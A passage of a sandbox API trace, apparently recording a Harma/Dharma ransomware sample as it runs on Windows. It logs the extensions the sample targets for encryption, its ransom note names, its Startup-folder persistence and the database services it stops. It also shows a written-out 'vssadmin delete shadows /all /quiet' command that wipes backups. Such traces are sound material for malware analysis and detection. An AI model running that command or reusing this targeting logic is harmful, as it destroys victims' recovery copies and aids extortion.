ht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0129.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38eec8 | out: hHeap=0x300000) returned 1 [0129.855] lstrlenW (lpString="") returned 0 [0129.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350d30 | out: hHeap=0x300000) returned 1 [0129.855] lstrlenW (lpString=".harma") returned 6 [0129.855] lstrlenW (lpString=".harma") returned 6 [0129.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350d30 | out: hHeap=0x300000) returned 1 [0129.855] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350d60, Size=0x20) returned 0x335af0 [0129.855] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335af0, Size=0x40) returned 0x336c80 [0129.855] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336c80, Size=0x80) returned 0x37aeb8 [0129.855] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e9c0, Size=0x8) returned 0x37e9d0 [0129.856] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e9d0, Size=0x10) returned 0x350d60 [0129.856] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350d60, Size=0x20) returned 0x335b40 [0129.856] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0129.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37aeb8 | out: hHeap=0x300000) returned 1 [0129.856] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350d90, Size=0x20) returned 0x335b68 [0129.856] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335b68, Size=0x40) returned 0x336c80 [0129.856] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0129.856] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0129.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x336c80 | out: hHeap=0x300000) returned 1 [0129.856] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350d90, Size=0x20) returned 0x335b68 [0129.856] lstrlenW (lpString="Info.hta") returned 8 [0129.856] lstrlenW (lpString="Info.hta") returned 8 [0129.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335b68 | out: hHeap=0x300000) returned 1 [0129.856] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x38eec8, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe")) returned 0x47 [0129.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38eec8 | out: hHeap=0x300000) returned 1 [0129.857] lstrlenW (lpString="3G6885.exe") returned 10 [0129.857] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335b40, Size=0x40) returned 0x336c80 [0129.857] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350d90, Size=0x20) returned 0x335b40 [0129.857] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350d90, Size=0x20) returned 0x335b68 [0129.857] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335b68, Size=0x40) returned 0x336cc8 [0129.857] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336cc8, Size=0x80) returned 0x37aeb8 [0129.857] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37aeb8, Size=0x100) returned 0x34cec0 [0129.857] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0129.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x34cec0 | out: hHeap=0x300000) returned 1 [0129.857] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x38eec8, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0129.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39eed0 | out: hHeap=0x300000) returned 1 [0129.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38eec8 | out: hHeap=0x300000) returned 1 [0129.857] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e9d0, Size=0x8) returned 0x37e9c0 [0129.857] lstrlenW (lpString="%windir%;") returned 9 [0129.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335b40 | out: hHeap=0x300000) returned 1 [0129.858] lstrlenW (lpString="C:\\Windows;") returned 11 [0129.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c2b0 | out: hHeap=0x300000) returned 1 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350da8, Size=0x20) returned 0x335b40 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335b40, Size=0x40) returned 0x336cc8 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336cc8, Size=0x80) returned 0x37aeb8 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37aeb8, Size=0x100) returned 0x34cec0 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37ea00, Size=0x8) returned 0x37ea10 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37ea10, Size=0x10) returned 0x350df0 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350df0, Size=0x20) returned 0x335b40 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e9d0, Size=0x8) returned 0x37ea10 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e9e0, Size=0x8) returned 0x37e9d0 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37ea00, Size=0x8) returned 0x37ea20 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37ea20, Size=0x10) returned 0x350e98 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350e98, Size=0x20) returned 0x335b68 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37ea10, Size=0x10) returned 0x350e98 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37e9d0, Size=0x10) returned 0x350ee8 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37ea10, Size=0x8) returned 0x37ea00 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37ea30, Size=0x8) returned 0x37ea40 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350e98, Size=0x20) returned 0x335b90 [0129.858] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350ee8, Size=0x20) returned 0x335bb8 [0129.859] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37ea50, Size=0x8) returned 0x37ea60 [0129.859] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0129.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x34cec0 | out: hHeap=0x300000) returned 1 [0129.859] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350f78, Size=0x20) returned 0x335c08 [0129.859] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x35c2b0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0129.859] lstrlenW (lpString="C:\\") returned 3 [0129.859] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0129.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c2b0 | out: hHeap=0x300000) returned 1 [0129.859] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37ea90, Size=0x82) returned 0x37d730 [0129.859] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x34eed0, Size=0x100) returned 0x34cec0 [0129.860] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37d730, Size=0x104) returned 0x3516b8 [0129.860] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x34cec0, Size=0x200) returned 0x3517e0 [0129.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x34eec0 | out: hHeap=0x300000) returned 1 [0129.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3517e0 | out: hHeap=0x300000) returned 1 [0129.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351020 | out: hHeap=0x300000) returned 1 [0129.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b0d8 | out: hHeap=0x300000) returned 1 [0129.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350fd8 | out: hHeap=0x300000) returned 1 [0129.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b050 | out: hHeap=0x300000) returned 1 [0129.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351008 | out: hHeap=0x300000) returned 1 [0129.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3516b8 | out: hHeap=0x300000) returned 1 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350ff0 | out: hHeap=0x300000) returned 1 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37d7c0 | out: hHeap=0x300000) returned 1 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351038 | out: hHeap=0x300000) returned 1 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37d850 | out: hHeap=0x300000) returned 1 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351050 | out: hHeap=0x300000) returned 1 [0129.862] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351050, Size=0x20) returned 0x335c30 [0129.862] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335c30, Size=0x40) returned 0x336cc8 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37ea70 | out: hHeap=0x300000) returned 1 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350f78 | out: hHeap=0x300000) returned 1 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37de10 | out: hHeap=0x300000) returned 1 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350fa8 | out: hHeap=0x300000) returned 1 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37afc8 | out: hHeap=0x300000) returned 1 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350f90 | out: hHeap=0x300000) returned 1 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37ea80 | out: hHeap=0x300000) returned 1 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350fc0 | out: hHeap=0x300000) returned 1 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x338038 | out: hHeap=0x300000) returned 1 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x336290 | out: hHeap=0x300000) returned 1 [0129.862] lstrlenW (lpString="%systemdrive%") returned 13 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335c08 | out: hHeap=0x300000) returned 1 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37aeb8 | out: hHeap=0x300000) returned 1 [0129.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37ea50 | out: hHeap=0x300000) returned 1 [0129.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x37eea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c [0129.911] WaitForMultipleObjects (nCount=0x2, lpHandles=0x337d98*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0174.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x337d98 | out: hHeap=0x300000) returned 1 [0174.484] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0174.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x336b60 | out: hHeap=0x300000) returned 1 [0174.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x35c150 [0174.484] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c150, Size=0x20) returned 0x335aa0 [0174.484] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335aa0, Size=0x40) returned 0x336b60 [0174.484] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336b60, Size=0x80) returned 0x37aeb8 [0174.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x35c150 [0174.484] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c150, Size=0x20) returned 0x335aa0 [0174.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x1fffc) returned 0x39eed0 [0174.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37eea8 [0174.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x33ae80 [0174.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x35c150 [0174.485] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x35c150, Size=0x20) returned 0x3359b0 [0174.485] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3359b0, Size=0x40) returned 0x336b60 [0174.485] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336b60, Size=0x80) returned 0x37b270 [0174.485] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37b270, Size=0x100) returned 0x34d1d8 [0174.485] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0174.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x34d1d8 | out: hHeap=0x300000) returned 1 [0174.485] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x37eea8, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0174.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x33ae80 | out: hHeap=0x300000) returned 1 [0174.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37eea8 | out: hHeap=0x300000) returned 1 [0174.486] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0x35c, hWritePipe=0x18fd5c*=0x348) returned 1 [0174.486] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0x20c, hWritePipe=0x18fdcc*=0x3a4) returned 1 [0174.486] SetHandleInformation (hObject=0x348, dwMask=0x1, dwFlags=0x0) returned 1 [0174.486] SetHandleInformation (hObject=0x20c, dwMask=0x1, dwFlags=0x0) returned 1 [0174.487] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x35c, hStdOutput=0x3a4, hStdError=0x3a4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0x1b8, hThread=0x218, dwProcessId=0x734, dwThreadId=0x6b8)) returned 1 [0174.491] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0174.491] WriteFile (in: hFile=0x348, lpBuffer=0x37aeb8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x37aeb8*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0174.491] CloseHandle (hObject=0x1b8) returned 1 [0174.491] CloseHandle (hObject=0x218) returned 1 [0174.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39eed0 | out: hHeap=0x300000) returned 1 [0174.491] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0174.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37aeb8 | out: hHeap=0x300000) returned 1 [0174.491] lstrlenW (lpString="%comspec%") returned 9 [0174.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335aa0 | out: hHeap=0x300000) returned 1 [0174.491] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x102 [0174.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x303820 | out: hHeap=0x300000) returned 1 [0174.492] ExitProcess (uExitCode=0x0) Thread: id = 44 os_tid = 0x5dc Thread: id = 46 os_tid = 0x660 [0129.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x350fc0 [0129.891] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350fc0, Size=0x20) returned 0x335c30 [0129.892] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335c30, Size=0x40) returned 0x336d10 [0129.892] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336d10, Size=0x80) returned 0x37aeb8 [0129.892] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37aeb8, Size=0x100) returned 0x34cec0 [0129.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x350fc0 [0129.892] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350fc0, Size=0x20) returned 0x335c30 [0129.892] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335c30, Size=0x40) returned 0x336d10 [0129.892] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336d10, Size=0x80) returned 0x37aeb8 [0129.892] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37aeb8, Size=0x100) returned 0x34cfc8 [0129.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x350fc0 [0129.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x37ea50 [0129.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x350f90 [0129.892] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37ea50, Size=0x8) returned 0x37ea80 [0129.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3362b0 [0129.892] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37ea80, Size=0x10) returned 0x350fa8 [0129.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x18) returned 0x3362d0 [0129.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x1a) returned 0x335c30 [0129.892] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350fa8, Size=0x20) returned 0x335c58 [0129.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x1c) returned 0x335c80 [0129.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x16) returned 0x3362f0 [0129.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x1a) returned 0x335ca8 [0129.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc) returned 0x350fa8 [0129.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x37ea80 [0129.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x336d10 [0129.892] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37ea80, Size=0x8) returned 0x37ea50 [0129.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x3c) returned 0x336d58 [0129.892] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37ea50, Size=0x10) returned 0x350f78 [0129.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x336310 [0129.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x18) returned 0x336330 [0129.893] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350f78, Size=0x20) returned 0x335cd0 [0129.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x24) returned 0x338038 [0129.893] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0129.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x34cec0 | out: hHeap=0x300000) returned 1 [0129.893] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0129.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x34cfc8 | out: hHeap=0x300000) returned 1 [0129.893] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x335dc0 [0129.956] EnumServicesStatusExW (in: hSCManager=0x335dc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0129.956] GetLastError () returned 0xea [0129.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb38) returned 0x36e7e8 [0129.956] EnumServicesStatusExW (in: hSCManager=0x335dc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36e7e8, cbBufSize=0xb38, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36e7e8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0129.957] GetLastError () returned 0xea [0129.957] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x36e7e8, Size=0xbbe) returned 0x36e7e8 [0129.957] EnumServicesStatusExW (in: hSCManager=0x335dc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36e7e8, cbBufSize=0xbbe, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36e7e8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0129.958] CloseServiceHandle (hSCObject=0x335dc0) returned 1 [0129.958] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0129.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0129.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0129.958] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0129.958] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0129.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0129.958] lstrlenW (lpString="AudioSrv") returned 8 [0129.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0129.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0129.958] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0129.958] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0129.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0129.958] lstrlenW (lpString="BFE") returned 3 [0129.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0129.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0129.959] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0129.959] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0129.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0129.959] lstrlenW (lpString="CryptSvc") returned 8 [0129.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0129.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0129.959] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0129.959] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0129.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0129.959] lstrlenW (lpString="CscService") returned 10 [0129.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0129.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0129.959] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0129.959] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0129.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0129.959] lstrlenW (lpString="DcomLaunch") returned 10 [0129.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0129.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0129.959] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0129.959] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0129.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0129.959] lstrlenW (lpString="Dhcp") returned 4 [0129.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0129.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0129.960] 